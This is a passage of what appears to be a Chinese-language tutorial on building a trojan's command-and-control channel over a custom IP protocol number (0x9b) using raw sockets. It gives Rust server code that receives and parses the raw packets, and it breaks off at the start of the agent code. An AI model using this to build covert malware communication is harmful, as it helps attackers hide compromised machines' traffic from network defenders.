Customized Network Layer Protocol C2
0x9bc2 Raw Socket留下的坑, 自定义网络层协议实现木马通信 实现细节 server和agent都需要高权限运行, 因为使用了原始套接字(raw socket) server使用原始套接字监听监听0x9bIP协议号 agent发送协议号为0x9b的原始IP数据包 我们将使用socket2和etherparsecrate实现核心功能 server核心代码 // 创建0x9b协议号的原始套接字 let sock = Socket::new(Domain::IPV4, Type::RAW, Some(Protocol::from(155)))?; // 创建堆区缓冲区 let mut data = Box::new([MaybeUninit::new(0u8); 65535]); // 接收数据, 并得到agent的SockAddr结构 let (n, agent) = sock.recv_from(&mut *data)?; // 切片数据 let data = &self[..n]; // 创建迭代器, 过滤出所有有效数据, 并收集成Vec<u8> let data: Vec<u8> = data .iter() .filter_map(|r| Some(unsafe { r.assume_init() })) .collect(); // 提取出IPv4协议下的数据 let (_, data) = Ipv4Header::from_slice(data.as_slice())?; agent核心代码 // 创建stdlib net下的SocketAddrV4, 指向服务器IP let server = SocketAddrV4::new("127....